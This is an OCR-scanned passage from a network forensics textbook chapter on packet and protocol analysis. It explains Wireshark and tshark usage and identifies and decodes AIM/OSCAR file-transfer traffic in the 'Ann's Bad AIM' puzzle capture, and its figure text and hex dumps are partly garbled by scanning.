11. D. Farinacci et al., “RFC 2784—Generic Routing Encapsulation (GRE),” IETF, March 2000, http://
www.rfc-editor.org/rfc/rfc2784.txt.

12. Microsoft Corporation, “Windows Communication Protocols (MCPP),” MSDN, 2011, http://
msdn.microsoft.com/en-us/library /cc216513%28v=prot.10%29.aspx.
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reverse-engineer a secret protocol. For example, Russian researcher Alexandr Shutko has
published his “Unofficial”’OSCAR (ICQ v7/v8/v9) protocol documentation. He conducted
the research to “have some fun.”!3

You can conduct your own protocol research. In many cases, all you need is a laptop,
some off-the-shelf networking equipment, and free software tools. To build your own protocol
analysis lab, first set up a small network. An older-model, inexpensive hub works very well for
sniffing traffic. Then set up endpoints that use the protocol you are interested in analyzing
and a system for intercepting the traffic.

In some cases it can be hard to get vendor-specific equipment due to budget restrictions.
Depending on your target protocol, you may not be able to replicate the protocol in your
lab. However, there are many widely used protocols that are easily accessible and fun to
tear apart.

4.1.2 Protocol Analysis Tools

Rather than reinvent the wheel, it’s a good idea to familarize yourself with tools and lan-
guages specifically designed for protocol analysis. Tools such as Wireshark and tshark include
built-in protocol dissectors for hundreds of different protocols, using the NetBee PDML and
PSML languages as a foundation. These can save you a lot of time and effort.

4.1.2.1 Packet Details Markup Language and Packet Summary
Markup Language

The Packet Details Markup Language (PDML) defines a standard for expressing packet
details for Layers 2—7 in an XML format. The syntax is essentially a compromise in “read-
ability” between computer and human parsers. Computer software must be programmed to
interpret the markup language; humans can learn to read it, or employ other tools to make
use of it.'* The Packet Summary Markup Language (PSML) is a similar XML language for
expressing the most important details about a protocol.

PDML and PSML are both part of the NetBee library, which is designed to support
packet processing.'® PDML and PSML were created and remain copyrighted by the Net-
Group at the Politecnico di Torino in Italy, where WinPcap was also first developed. These
specifications are used by Wireshark and tshark as a foundation for protocol dissection and
display.

4.1.2.2 Wireshark

Wireshark is an excellent tool for protocol analysis. It includes built-in protocol dissectors
that automatically interpret and display protocol details within individual packets, and
allows you to filter on specific fields within supported protocols. You can also write your
own packet dissectors for inclusion into the main Wireshark program or to be distributed
as plugins.

13. “OSCAR (ICQ v7/v8/v9) Protocol Documentation,” July 2, 2005, http://iserverd.khstu.ru/oscar/.
14. “[NetBee] Pdml Specification,” NetBee, http://www.nbee.org/doku.php?id=netpdl:pdml_specification.
15. “The NetBee Library [NetBee],” NetBee, August 13, 2010, http://www.nbee.org/doku.php.
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By default, Wireshark displays packets in three panels:

e Packet List This panel shows packets that have been captured, one per line, with
very brief details about them. This typically includes the time the packet was captured,
the source and destination IP address, the highest-level protocol in use (according to
Wireshark’s heuristics for analyzing protocols), and a brief snippet of protocol data.

e Packet Details For the packet highlighted in the Packet List View, this shows the
details of the protocols in all layers that Wireshark can interpret.

e Packet Bytes This shows the hexadecimal and ASCII representation of the packet,
including Layer 2 data.

As you can see in Figure 4-1, Wireshark automatically decodes protocols at various
layers in the frame and displays the details in the Packet Details window, ordered by layer.

No. - |Thne Source Destination Protocol |Info
22 13.674786 Vmware_68:e6:2b Vmware bo:8d:6z ARP 152.168.1
23 18.870898 192.168.1.158 64.12.24.50 SsL Continuat
64.12.24. .168.1.158 :
25 33.914966 192.168.1.158 64.12.24.50 SsL Continuat
26 33.915486 64.12.24.50 192.168.1.158 TCP https = 5
27 34.006599 192.168.1.158 64.12.24.50 ssL Continuat

b Frame 24 (60 bytes on wire, 60 bytes captured)
b Ethernet II, Src: Vmware b0:8d:62 (00:0c:29:b0:8d:62), Dst: HewlettP 45:a4:bb
¥ Internet Protocol, Src: 64.12.24.50 (64.12.24.50), Dst: 192.168.1.158 (192.16
Version: 4
Header length: 20 bytes
b Differentiated Services Field: Ox00 (DSCP Ox00: Default; ECN: 0Ox00)
Total Length: 40
Identification: ©xbazd (46141)
“ Flags: Ox00
0.. = Reserved bit: Not Set
.0. = Don't fragment: Mot Set
..0 = More fragments: Not Set

Fragment offset: ©
Time to live: 127
Protocol: TCP (0x08)
P Header checksum: Ox6doe [correct]
Source: 64.12.24.50 (64.12.24.50)
Destination: 192.168.1.158 (192.168.1.158)
P Transmission Control Protocol, Src Port: https (443), Dst Port: 51128 (51128),

0000 00 12 79 45 a4 bb 00 0c 29 bo 8d 62 08 00 45 00  ..yE.... )..b..E.
0010 00 28 b4 3d 00 00 7f 06 6d Oe 40 Gc 18 32 cO@ a8 .(.=.... m.@..2..
0020 01 9e 01 bb c7 b8 07 e9 B0 db 33 6b d2 c8 50 18 ........ .3k, .P
0020 fa fo 61 f2 00 00 00 0O 00 0O OO 00 -

Figure 4-1. Screenshot of the main Wireshark panels. The top panel is “Packet List,” the
middle panel is “Packet Details,” and the bottom panel is “Packet Bytes.”
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In this example, you can see that within Frame 24, Wireshark has identified “Ethernet
I1,” “Internet Protocol,” and “Transmission Control Protocol.” It shows a summary of
important information for each protocol (such as “Src Port” and “Dest Port” for TCP), and
also allows you to drill down to see extensive details for each protocol. In the Packet List
window, Wireshark automatically displays the name of the highest-layer protocol found in
the packet (in this case, TCP).

Wireshark includes hundreds of built-in protocol dissectors.'® You can view a list of
protocol dissectors that are enabled in your version of Wireshark by going to Analyze—
Enabled Protocols. You can also modify dissector settings for specific protocols in Edit —
Preferences— Protocols. If you are analyzing a protocol that Wireshark doesn’t currently
support, you can also write your own dissector. Wireshark plugins are commonly written in
C. You can also write Wireshark plugins in Lua, but for performance reasons, Wireshark
developers recommend using Lua only for prototyping dissectors.'”

Wireshark automatically decides which protocol dissectors to use for a specific packet.
If you have packets that you would like to dissect using a different protocol dissector, you
can use Wireshark’s “Analyze—Decode As” function to modify the dissector in use.

4.1.2.3 tshark

Tshark uses Wireshark’s protocol dissection code, and therefore includes much of the same
functionality, with a command-line interface.'® In tshark, the default output displays the
information produced by PSML. When the “-V” flag is used, tshark displays the PDML
information.

Here are some examples of using tshark for protocol analysis:

e Basic usage for reading from a capture file:
$ tshark -r capturefile.pcap

e Disable network object name resolution using the -n flag, so you can see actual IP
addresses and port numbers. It’s often a good idea to disable network object name
resolution because this can slow down display.

$ tshark -n -r capturefile.pcap

e Select an output format using the T flag. Options include pdml, psml, ps, text, and
fields. The default is “text.” In the example below, we print the output in PDML,
which provides verbose packet protocol details in XML format.

$ tshark -r capturefile.pcap -T pdml

16. “ProtocolReference—The Wireshark Wiki,” Wireshark, March 7, 2011, http://wiki.wireshark.org/
ProtocolReference.

17. “Lua—The Wireshark Wiki,” Wireshark, May 13, 2011, http://wiki.wireshark.org/Lua.

18. “tshark—The Wireshark Network Analyzer 1.5.0,” Wireshark, http://www.wireshark.org/docs/
man-pages/tshark.html.
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e To print a specific field (as defined by Wireshark’s protocol dissectors), use the -e flag
combined with the “-T fields” option. The example below is from the “tshark” man
page, and it prints the Ethernet frame number, IP address, and information about the
UDP protocol.

$ tshark -r capturefile.pcap -T fields -e frame.number -e ip.addr -e udp

e Tshark also includes an option, -d, which implements Wireshark’s “Decode As” func-
tionality. This option allows you to manually configure tshark to interpret the indicated
traffic as a specific protocol. For example, if you want to configure tshark to treat all
traffic in a packet capture on TCP port 29008 as HT'TP, you would use the command:

$ tshark -r capturefile.pcap -d tcp.port==29008,http

e Tshark can be given either Wireshark’s display filters, BPF-filters, or both. Here is a
capture file filtered using display filters:

$ tshark -r capturefile.pcap -R 'ip.addr == 192.168.1.1"'

Here is the equivalent command, filtered using BPF:

$ tshark -r capturefile 'host 192.168.1.1'

4.1.3 Protocol Analysis Techniques

Recall that protocol analysis is the examination of one or more fields within a protocol’s
data structure. Protocol analysis is often necessary for packet analysis because investigators
must be able to properly interpret the communications structures in order to understand
the contents and analyze packets or streams.

Fortunately, much of this analysis has already been done by a worldwide community of
developers and analysts, who have created freely available tools such as Wireshark, tshark,
tcpdump, and the specification languages upon which they are based. When using these
tools, keep in mind that you are standing on the shoulders of giants (and that, occasionally,
giants make mistakes).

Network investigators must also be prepared to handle protocols that have not yet been
publicly dissected and included in common tools. Furthermore, hackers may sometimes
develop new protocols, or extensions to old ones, in order to communicate covertly or add
functionality that the original protocol authors never intended.

Protocol analysis is a deep art and we only scratch the surface here. During the next few
sections, we describe the fundamentals of protocol identification, decoding, data exportation,
and metadata extraction.

4.1.3.1 Protocol ldentification

How do you identify which protocols are in use in a packet capture? Here are some common
ways that you can identify a protocol:
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Scenario: Ann’s Bad AIM

Throughout this chapter, we will use the following scenario to illustrate tools and tech-
niques. This scenario is “Puzzle #1: Ann’s Bad AIM,” from the “Network Forensics Puzzle
Contest” web site.'? You can download the original contest materials and the corresponding
packet capture from http://ForensicsContest.com.

The Case: Anarchy-R-Us, Inc. suspects that one of their employees, Ann Dercover,
18 really a secret agent working for their competitor. Ann has access to the company’s prize
asset, the secret recipe. Security staff are worried that Ann may try to leak the company’s
secret recipe.

Security staff have been monitoring Ann’s activity for some time, but haven’t found
anything suspicious until now. Today an unexpected laptop briefly appeared on the company
wireless network. Staff hypothesize it may have been someone in the parking lot because
no strangers were seen in the building. Ann’s computer (192.168.1.158) sent IMs over the
wireless network to this computer. The rogue laptop disappeared shortly thereafter.

“We have a packet capture of the activity,” said security staff, ‘‘but we can’t figure out
what’s going on. Can you help?”’

e Search for common binary/hexadecimal/ASCII values that are typically associated
with a specific protocol

e Leverage information in the encapsulating protocol

e Leverage the TCP/UDP port number, many of which are associated with standard
default services

e Analyze the function of the source or destination server (specified by IP address or
hostname)

e Test for the presence of recognizable protocol structures

Let’s explore these protocol identification techniques one at a time. Getting back to our
scenario, Ann’s Bad AIM, let’s take another look at the packet capture and figure out what
protocols are in use. Throughout this discussion and the remainder of this book, remember
to count byte offsets starting from 0.

Search for common binary/hexadecimal /ASCII values that are typically associated with
a specific protocol Most protocols contain sequences of bits that are commonly, if not
always, present in packets associated with that protocol, in predictable places. An excellent
example is the hexadecimal sequence “0x4500,” which often marks the beginning of an IPv4

19. Sherri Davidoff, Jonathan Ham, and Eric Fulton, “Network Forensics Puzzle Contest—Puzzle #1: Ann’s
Bad AIM,” September 25, 2009, http://forensicscontest.com/2009/09/25/puzzle-1-anns-bad-aim.
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packet. The following text shows a section of the Ann’s Bad AIM packet capture, produced
using tcpdump:

$ tcpdump -nn -AX -r evidenceOl.pcap
22:57:22.022972 IP 64.12.24.50.443 > 192.168.1.158.51128: Flags [.], ack 6,
win 64240, length O

0x0000: 4500 0028 b43d 0000 7£f06 6d0e 400c 1832 E..(.=....m.0Q..2
0x0010: cOa8 019e 01bb c7b8 07e9 60db 336b d2c9 .......... T.3k..
0x0020: 5010 fafO 61f2 0000 0000 0000 0000 P.o..ac..oooa

Why does “0x4500” commonly appear at the beginning of IP packets? The high-order
nibble of the byte at offset zero of an IP packet represents the IP version. There are only
two versions of the IP protocol in common use today: IP version 4 (IPv4), and version 6
(IPv6). IPv4 is still the most widely implemented IP protocol, and so it is common to see
the value “4” as the high-order nibble of Byte 0.

The low-order nibble of Byte 0 specifies the number of 32-bit words in the IPv4 header.
IPv4 specifies that there are 20 bytes of required fields in the IPv4 header. It is possible to
include optional header fields, which would cause the header length to increase. However,
there are few legitimate purposes for IP options in normal use, and so few operating systems
set them, and few firewalls allow them. Consequently, the low-order nibble of Byte 0 in an
IPv4 packet is typically “5” (remember, there are 4 bytes in one 32-bit word, so 5 words is
equal to 20 bytes).

Byte 1 of the IPv4 header is really a set of multibit fields, commonly grouped together
and referred to as the “Type of Service” field. It is not widely used today, and so most IPv4
packets carry all zeros at Byte 1.2¢

As a result of these factors, IPv4 packets commonly begin with the value “0x4500.”
Experienced network forensic investigators can view raw tcpdump output and manually
pick out the beginnings of IPv4 packets without the assistance of automated tools.

Leverage information in the encapsulating protocol Protocols often contain information
that indicates the type of encapsulated protocol. Recall that in the OSI model, lower-layer
protocol fields typically indicate the higher-layer protocol that may be encapsulated, in order
to facilitate proper processing.

Figure 4-2 is a screenshot of the same Ann’s Bad AIM packet displayed within Wireshark.
Notice that Wireshark has indeed identified the Layer 3 protocol as IP version 4, just as we
guessed in the previous section. Byte 9 of the IP header (highlighted) indicates the protocol
encapsulated within the IP packet. In this case, the value at Byte 9 is 0x06, which corresponds
with TCP. (The protocol numbers used in the IPv4 “Protocol” field and the IPv6 “Next
Header” field are assigned and maintained by TANA.?!) Based on this information, it is
reasonable to assume that the protocol encapsulated within this IP packet is TCP.

Leverage the TCP/UDP port number, many of which are associated with standard
default services A simple and common way to identify protocols is by examining the TCP
or UDP port number in use. There are 65,535 possible port numbers for each of TCP and

20. Richard W. Stevens, “The Protocols,” in TCP/IP Illustrated, vol. 1, Addison-Wesley, 1994.

21. “Protocol Numbers,” May 3, 2011, http://www.iana.org/assignments/protocol-numbers/protocol-
numbers.xml.
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MNo.. | Time Source Destination Protocol |Info

23 10.070850 192.160.1.150 54.12.24.50 =0 Continuation Date
871477 64.12.24.50 192.168.1.158 TCP https > 51128 [Ad
25 22.014066 102.168.1.158 54.12.24.50 ssL Continuation Dat:

b Frame 24 (60 bytes on wire, 60 bytes captured)
b Ethernet II, Src: Vmware_b0:8d:62 (00:0c:29:b0:8d:62), Dst: HewlettP_45:a4:bb (00:12:
< Internet Protocol, Src: 64.12.24.50 (64.12.24.50), Dst: 192.168.1.158 (192.168.1.158)
Version: 4
Header length: 20 bytes
b Differentiated Services Field: 0Ox00 (DSCP 0x00: Default; ECN: 0x00)
Total Length: 40
Identification: Oxb43d (46141)
= Flags: Ox00
0.. = Reserved bit: Mot Set
.0, = Dun'L [ragmenl: Mol Sel
..0 = More fragments: Mot Set
Fragment offset: ©
Time to live: 127
b Header checksum: Ox&doe [correct]
Source: 64.12.24.50 (64.12.24.50)
Destination: 192.168.1.158 (192.168.1.158)
b Transmission Control Protocol, Src Port: https (443), Dst Port: 51128 (51128), Seq: 1

D000 00 12 79 45 a4 bb 00 Oc 29 bo ed 62 08 00 45 00  ..yE.... )..b..E.
0010 00 28 b4 2d 00 00 7f {E 6d Oe 40 Oc 18 32 cO0 a8 . (.=...[] m.@..2..
0020 01 Se 01 bb c7 bs 07 e9 60 db 33 6b dz €9 50 10 ........ "L 3k..P.
o030 fa fo 61 f2 00 0O 0O OO 00 0D 0O 00 T

Figure 4-2. IP protocol details displayed within Wireshark. Notice that the IP packet contains
information about the encapsulated protocol (in this case, 0x06, or TCP).

UDP. TANA has published a list of TCP/UDP port numbers that correspond with specific
higher-layer network services. You can view the canonical list on TANA’s web site,?? and
much of the same information is also stored in the /etc/services file on most UNIX/Linux
systems.

In Figure 4-3, we can see that Frame 8 of the Ann’s Bad AIM packet capture transmits
data over UDP 123. According to TANA, UDP port 123 is assigned to the Network Time
Protocol (NTP). This is a service that synchronizes time between systems. Wireshark au-
tomatically displays the default service associated with a particular port, if one is assigned,
as you can see in the highlighted line of the Packet List pane.

If you look further down in the Packet Details frame, you can also see that Wireshark
identified various fields within the higher-layer NTP protocol, such as “Peer Clock Stra-
tum” and “Originate Time Stamp.” This provides corresponding evidence that supports
the identification of this protocol as NTP.

Identifying protocols by port number is not always reliable because servers can eas-
ily be configured to use nonstandard port numbers for specific services. Take a look at

22. “Port Numbers,” July 6, 2011, http://www.iana.org/assignments/port-numbers.


http://www.iana.org/assignments/port-numbers

86 Chapter 4 Packet Analysis

Mo.. |Time Source Destination Protocol | Info
5 0.918234  Vmware_bo:Bd:62 Dell_ad:af:ae  arp who has 192.168.1.1597 Tell 192.168.1.10
6§ 0.818240 Dell_ad:4f:ae Vmware_bO:8d: 62 ARP 152.168.1.159 15 at 00:21:70:4d:4f 1ae
7 3.185626 192.168.1.30 152.168.1.10  NTP NTP client
8 3.185114 162.168.1.10 162.168.1.30 NTP NTP server
9 4.680216 192.168.1.10 152.168.1.255 NTP NTP broadcast
10 8. 181469  Vmware_69:e6:2h vmware_bo:Bd: 62 ARP who has 192.168.1.107 Tell 192.168.1.30

b Frame B (S0 bytes on wire, S0 bytes captured)

b Ethernet IT1, Src: Vmwars_b0:Bd:62 (D0:0c:29:b0:8d:62), Dst: Vmware 59:86:2h (00:0c:29:69:86:2h)
b Internet Protocol, Src: 192.168.1.10 (192.168.1.10), Dst: 192.168.1.30 (152.168.1.30)

- User Datagram Protocol., Src Port: ntp (123}, Dst Port: ntp (123)

Spurce port; ntp (123)
Destination port: ntp (123)
Length: 585

b checksum: ox7145 [validation disabled)

= Network Time Protocol

b Flags: Ox24
Peer Clock Stratum: secondary reference [(3)
peer Polling Interval: 7 (128 sec)
Peer Clock Precision: 0.000001 sec
Moot Delay: 0.0572 sec
Moot [Mspersion: 0.0472 sec
Reference Clock ID: 209.40.204.229
Reference Clock Update Time: fug 13, 2009 05:56:42 8583 UTC
Originate Time Stamp: Aug 13, 2009 05:57:06.3368 UTC
Receive Time Stamp: Aug 13, 2009 05:57:06.3424 UTC
Transmit Time Stamp: Aug 13, 2009 05:57:06.3427 UTC

Figure 4-3. UDP Protocol Details displayed within Wireshark. Notice that Wireshark auto-
matically associates the UDP port, 123, with its IANA-assigned default service, NTP.

Figure 44, in which we see a TCP segment (Frame 167 of the Ann’s Bad AIM packet cap-
ture) transmitted to destination port 443. According to IANA, TCP port 443 is assigned to
the “http protocol over TLS/SSL,” or “https” service. Accordingly, Wireshark has presented
and interpreted it as “https” or “Secure Socket Layer.”

However, look carefully at the Packet Bytes window in Figure 4-4. Notice that the
payload of this packet is clearly not encrypted! You can see cleartext ASCII (“thanks dude”)
as well as HTML tags. Looking back up in the Packet Details window, notice that although
Wireshark has identified the highest-layer protocol as “Secure Socket Layer,” there are no
protocol details listed in this section. Wireshark identified the protocol in use based solely
on the TCP port number (443), but the protocol is NOT actually SSL/TLS. As a result,
Wireshark was unable to decode the protocol and display details under the “Secure Socket
Layer” heading.

Analyze the function of the source or destination server (specified by IP address or
hostname) Often, server hostnames and domains provide clues as to their functions, which
can in turn help investigators identify likely protocols in use.

So far we’ve determined that the NTP protocol is likely present within the Ann’s Bad
AIM packet capture. We've also found that there is unidentified traffic traversing TCP
port 443. Although Wireshark identified this traffic as SSL/TLS, we found that this was
incorrect. Perhaps the IP addresses or hostnames in use will provide us with clues regarding
the highest-layer protocol....

Looking at Figure 4-4, the source IP address in frame 167 is “64.12.24.50.” If you do a
WHOIS lookup on this address, you will see that it is owned by “America Online Inc.” (at
the time of this writing). Here is a snippet of the WHOIS registration information:
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Protocol |Info

TLSv1

Destination

192.168.1.159
192.168.1.158
61.12.21.50

Source

64.12.25.91
64.12.24.50

Mo. - Time
166 69.578661

Application Data
Continuation Data

.579120 51128 = https [ACK

162.168.1.158

TCP

Ade Ak o mn Arr

64.12.25.91

a1

170 69.682779 192.168.1.159

171 7o SnncTe Vi smmn b od. o

sweetware-apps = h

ttlhn bhne 1Am 120

Frame 167 (280 bytes on wire, 280 bytes captured)

Ethernet II, Src: Vmware_b0:8d:62 (00:0c:29:b0:8d:62), Dst: HewlettP_45:a4:bb (00:12:7¢
192.168.1.158 (192.168.1.158)
51128 (51128), Seq: 131

v v v

Internet Protocol, Src: 64.12.24.50 (64.12.24.50), Dst:
ion Control Protocol, Src Port: https (443), Dst Por

Source port: https (443)

Destination port: 51128 (51128)

[Stream index: 2]

Sequence number: 132735858

[Next sequence number: 132735084]

Acknowledgement number: 8562704686

Header length: 20 bytes

Flags: 0x18 (PSH, ACK)

Window size: 54240

b Checksum: 0x2bSa [validation disabled]

b [SEQ/ACK analysis]

Secure Socket Layer

-

0080 4a 83 a4 85 00 02 00 61 05 01 00 01 01 @1 01 @O J...... [ B
0020 S8 00 00 00 00 3c 48 54 4d 4c 3e 3c 42 4f 44 59 X....<HT ML><BODY
00bO  3e 3c 46 4f 4de 54 20 46 41 43 45 3d 22 41 72 69 ><FONT F ACE="Ar1
D0cO 61 6c 22 20 53 49 Sa 45 3d 32 20 43 4f 4c 4f 52 al" SIZE =2 COLOR
code 3d 23 30 30 30 30 30 30 3e 74 58 51 6e &b 73 20 =#000000 >Lhanks

00e0 64 75 64 65 3c 2f 46 4f 4e 54 3e 3c 2f 42 4f 44  dude</FO NT=</BOD
00fO 59 3e 3c 2f 48 54 4d 4c 3= 00 Od 0O 12 00 01 0O

0100 ©5 2b 00 00 31 Ge 00 81 00 05 zb 00 00 14 4f 0O

0110 eb OGO GO 13 GO OLO3 ..

Figure 4-4. TCP packet details displayed within Wireshark. Notice that Wireshark automati-
cally associates TCP port 443 with its IANA-assigned default service, HTTPS. However, this
interpretation is INCORRECT (as evidenced by the fact that the packet contents are not
encrypted, and no protocol details are displayed under the heading “Secure Socket Layer”).

$ whois 64.12.24.50

NetRange: 64.12.0.0 - 64.12.255.255
CIDR: 64.12.0.0/16

OrgName : America Online, Inc.
Orgld: AMERIC-158

Address: 10600 Infantry Ridge Road
City: Manassas

StateProv: VA

PostalCode: 20109

Country: Us

RegDate: 1999-12-13

Updated: 1999-12-16

Ref: http://whois.arin.net/rest/org/AMERIC-158

87
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It would be reasonable for a network forensic investigator to hypothesize that the traffic
associated with this server could be traffic commonly used to support AOL’s services, such
as HTTP or AIM.

Interlude: AOL Instant Messenger Protocols

The AOL Instant Messenger (AIM) service was created by America Online in 1997, and
remains one of the most popular and portable instant messaging services today. The earliest
versions were designed for use by AOL employees, before AOL began providing the service
to the general public. AIM software is very portable and can be used on Linux, Windows,
or Apple systems.

AIM is based on the proprietary, closed-source Open System for Communication in
Realtime (OSCAR) protocol.?> OSCAR is a proprietary protocol developed by AOL and
the company has worked to prevent others from building compatible clients. Even so, many
have tried to reverse-engineer the protocol, with some success. Published documentation is
very limited, but tools such as Wireshark include protocol dissectors, which are helpful as a
guide for forensic analysts. AOL has licensed the OSCAR protocol for use in Apple’s iChat
software as well as AIM.2*

To transfer a file, the sender and receiver initially communicate using Inter Client Basic
Messages (ICBM) through a third-party messaging server. They use ICBM messages on
channel 2 to negotiate the IP address, port, and other details of a direct file transfer. Once
the direct connection is set up between sender and recipient on the specified port, OSCAR
File Transfer (OFT) is used to transfer the file.

There is a good description of the process in the comments of the source code for Pidgin,
a multiplatform chat client (pidgin-2.5.8/libpurple/protocols/oscar /oft.c).?

The OFT protocol is relatively simple. To transfer a file between two clients, the sender
sends an OFT “prompt” header, with the “Type” set to “0x0101” to indicate it is ready to
begin sending. The recipient sends an OFT “acknowledge” header back, with the “Type”
set to “0x0202” to indicate that it is ready to receive data. Next, the sender sends the raw
data to the recipient. Finally, the recipient responds with an OFT “done” packet, with the
“Type” set to “0x0204” to indicate that it has finished receiving data. Figure 4-5 illustrates
the OFT protocol in use.

Figure 4-6 is an example of an OFT2 header message. Note that, among other data, the
header contains the protocol version (0x4F465432 is “OFT2” in ASCII), the “Type” (which
indicates the purpose of the header), the transmitted file size, and the file name. 2%

23. “AOL Instant Messenger—Wikipedia, the free encyclopedia,” http://en.wikipedia.org/wiki/AOL _Instant
_Messenger.

24. “OSCAR Protocol—Wikipedia, the free encyclopedia,” http://en.wikipedia.org/wiki/OSCAR _protocol.
25. “File List,” SourceArchive, http://pidgin.sourcearchive.com/documentation/1:2.5.8-1ubuntu2/files.html.

26. Jonathan Clark, “On Sending Files via OSCAR,” 2005, http://www.cs.cmu.edu/ jhclark/aim/On
%20Sending%20Files%20via%200SCAR.odt.
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Ts;gg%1 o
"Acknowledge"”
Type 0x0202
Raw data R
Sender ) ) Receiver
. Type 05(?334

Figure 4-5. lllustration of the OFT protocol used to transfer files through AIM.

Bytes| 0 1 2 3 4 5 6 7 8 9 A B Cc D E F
0x00 | Protocol Version (4 bytes) Length | Type Cookie (B bytes)

0x10 | Encryption ! Compression  Total Files Files Left Total Parts Parts Left i Total Size
0x20 Size | Modification Time Checksum | RicvCsum
0x30 RiSize | Creation Time | RfCsum | nRecvd

0x40 CecvCsum Identification String (32 bytes)

0x50 : : __Identification String, cont.

0x60 | Identification String, cont. | Flags |nOffset sOffset Dummy (69 bytes)

0x80 Dummy, cont.

0OxAD Dummy, cont. | Macintosh File Information
0xB0 Macintosh File Information, cont. (16 bytes) | Encoding Subcode

0xD0 Filename (54 bytes)

Figure 4-6. lllustration of the OFT2 header structure.

Test for the presence of recognizable protocol structures You can experimentally test
for the presence of a specific protocol in a packet capture if you have some idea of the
structure and common header values. For example, Figure 4-7 shows Frame 112 from the
Ann’s Bad AIM packet capture. In this frame, we can see that there is traffic from source
port 5190 (which Wireshark associates with “aol”), but this traffic is not decoded above
Layer 4 (TCP). How can we identify the higher-layer protocol in use?

Given that the traffic is associated with a port used by AOL, and we have prior evi-
dence of AOL-related traffic, we might hypothesize that this unidentified traffic could be a
proprietary AOL protocol that does not have a dissector included in our Wireshark distri-
bution, such as OSCAR traffic.

To test this hypothesis, let’s examine the TCP packet payload. As you can see in Wire-
shark, the payload contents begin with 0x4F465432, or “OFT2” in ASCII. This matches the
information that independent researchers have published regarding the OSCAR, protocol
header, shown in Figure 4-6.
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Mo, . Time Source Destination | Protocol |Info
111 61.054660 192.168.1.159 192.168.1.158 TCP cspmli
192.168.1.158 192.168.1.159
113 61.064823 192.168.1.159 64.12.25.91 TLSv1 appli
114 61.065468 64.12.25.91 192.168.1.159 TCP https
115 61.144314 192.168.1.159 64.12.25.91 TLSv1 appli

17 =1 1 aAATED = e T~ § | 1Mt TEs 1 TEn T O

Frame 112 (310 bytes on wire, 310 bytes captured)

Ethernet II, Src: HewlettP 45:a4:bb (00:12:79:45:a4:bb), Dst: Dell _4d:4f::
Internet Protocol, Src: 192.168.1.158 (192.168.1.158), Dst: 192.168.1.159
Transmission Control Protocol, Src Port: acl (5120), Dst Port: cspmlockmgr

v v v v

& b
Data: 4F4654320100010100000000000000000000000000010001. ..
[Length: 256]

LIS UL 59T 14 4o U4 T8 a5 23 23 Cd 2l da = 1e oUW I8
0020 16 do fb f a8 01

040 — B . -

0050
0060
0070
o020
[olot=lo}
[alak-Tal

Figure 4—7. Frame #112 from “Ann’s Bad AIM.” Notice that Wireshark does not automatically
identify a protocol higher than Layer 4 (TCP). However, analysis of the TCP payload shown
in the Packet Bytes window reveals structures that correlate with the OSCAR File Transfer
protocol.

According to publicly available documentation, Bytes 6 and 7 of the OFT2 header should
indicate the “Type.” In Figure 4-7, we can see that Bytes 6 and 7 of our packet payload
are “0x0101,” which do correspond with a valid Type value (“Prompt”). This indicates that
the sender is ready to transmit a file.

4.1.3.2 Protocol Decoding

Protocol decoding is the technique of interpreting the data in a frame according to a spe-
cific, known structure, which allows you to correctly understand the meaning of each bit in
the communication. Some bits in a protocol are used for describing the protocol itself or
facilitating the communication. Other bits actually describe an encapsulated higher-layer
protocol or its payload. In any case, understanding the purpose of specific bits within a frame
and interpreting them according to a known protocol structure is a fundamental network
forensics technique.

We rely very heavily on widely available tools for protocol decoding because few investi-
gators have the time or resources to conduct protocol analysis in-depth, and in most cases
it is not necessary to reinvent the wheel.
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Figure 4-8. Frame #167 from “Ann’s Bad AIM.” Wireshark incorrectly decoded this packet
as “Secure Socket Layer." This screenshot illustrates how to use Wireshark's “Decode As”
function to interpret the data as AIM traffic instead.

To decode network traffic according to a specific protocol specification, you can:
e Leverage publicly available automated decoders and tools

e Refer to publicly available documentation and manually decode the traffic

e Write your own decoder

Let’s return to Frame #167 in our packet capture, which Wireshark mistakenly identified
as “Secure Socket Layer” traffic. Based on the source IP address and port number, we have
hypothesized that this packet may actually contain traffic relating to an AOL protocol.

Figure 4-8 illustrates how we can use Wireshark to decode this packet as “AIM” traffic.
The results are shown in Figure 4-9. Notice that extensive details regarding the “AOL
Instant Messenger” protocol are now visible, including Channel ID, Sequence Number, and
ICBM Cookie. The presence of this information, and the fact that the values make sense
given the context, indicates that we have correctly identified and decoded this as AIM traffic.

Earlier, we manually identified the encapsulated protocol in Packet #109 as OFT?2 traffic.
However, decoding OFT with Wireshark is significantly more difficult than decoding general
AIM traffic because as of the time of this writing, Wireshark does not include a built-in
OFT protocol decoder.

Fortunately, the Wireshark suite includes extensive support and documentation for writ-
ing new plugins, and many additional plugins have also been freely published online by
independent developers. For example, to solve the Ann’s Bad AIM puzzle, independent
developer Franck Guénichot wrote his own OFT protocol dissector in Lua.?” (Note that in

27. Franck Guénichot, “Index of /contest02/Finalists/Franck_Guenichot,” December 17, 2009, http://
forensicscontest.com/contest01/Finalists/Franck _Guenichot/.
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— N ———————
| Mo. . | Time Solrce | Desrinarion | Protacal Infa

166 65.578661 64.12.25.91 192.168.1.159 TCP https = sweetware-apps [
167 65.578667 64.12.24.50 192.168.1.158 AIM Messaging AIM Messaging, Incoming
192.168.1.158 64.12.24.50 51128 > https [ACK] Seq=

170 65.6682779 192.168.1.155 64.12.25.91 sweetware-apps = https [
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Figure 4-9. In this screenshot, Frame 167 has been decoded as AIM traffic. Notice that
extensive details regarding the AIM protocol are now visible, indicating that our selection of
AIM as the protocol was probably correct.

order to use an external Lua plugin, you first need to enable Lua support in Wireshark’s
init.lua configuration file.) Using Franck’s OFT Lua protocol dissector, we can automatically
print details of the OFT file transfer within the packet capture. Here is an example from
Franck’s OFT dissector in action, used with tshark:

$ tshark -r evidenceOl.pcap -X lua_script:oft-tsk.lua -R "oft" -n -R frame.
number==112
112 61.054884 192.168.1.158 -> 192.168.1.159 OFT 0FT2 Type: Prompt

As shown above, for frame #112 of Ann’s Bad AIM, tshark identified the higher-layer
protocol as an OFT2 “Prompt” message, confirming our manual findings from earlier.

4.1.3.3 Exporting Fields

Once you have identified the protocol in use and determined your method for decoding it,
the next step is to extract the values of specific fields of interest. It is trivial to do this
graphically using Wireshark if you have the appropriate protocol dissector installed.

Let’s say that you would like to extract the AIM message sent between users in packet
#167 of Ann’s Bad AIM. Once you configure Wireshark to decode packet #167 as AIM
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Mo. - Time Source Destination Protocol Info
165 69.468473 64.12.25.91 192.168.1.159 TCP https = sweetware-apps [
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Figure 4-10. In this screenshot, Frame 167 has been decoded as AIM traffic. Wireshark displays
individual fields such as the Message field, along with corresponding bytes, and allows the user
to save the contents of these fields.

traffic (rather than SSL traffic), you can view the “Message” field in the Packet Details
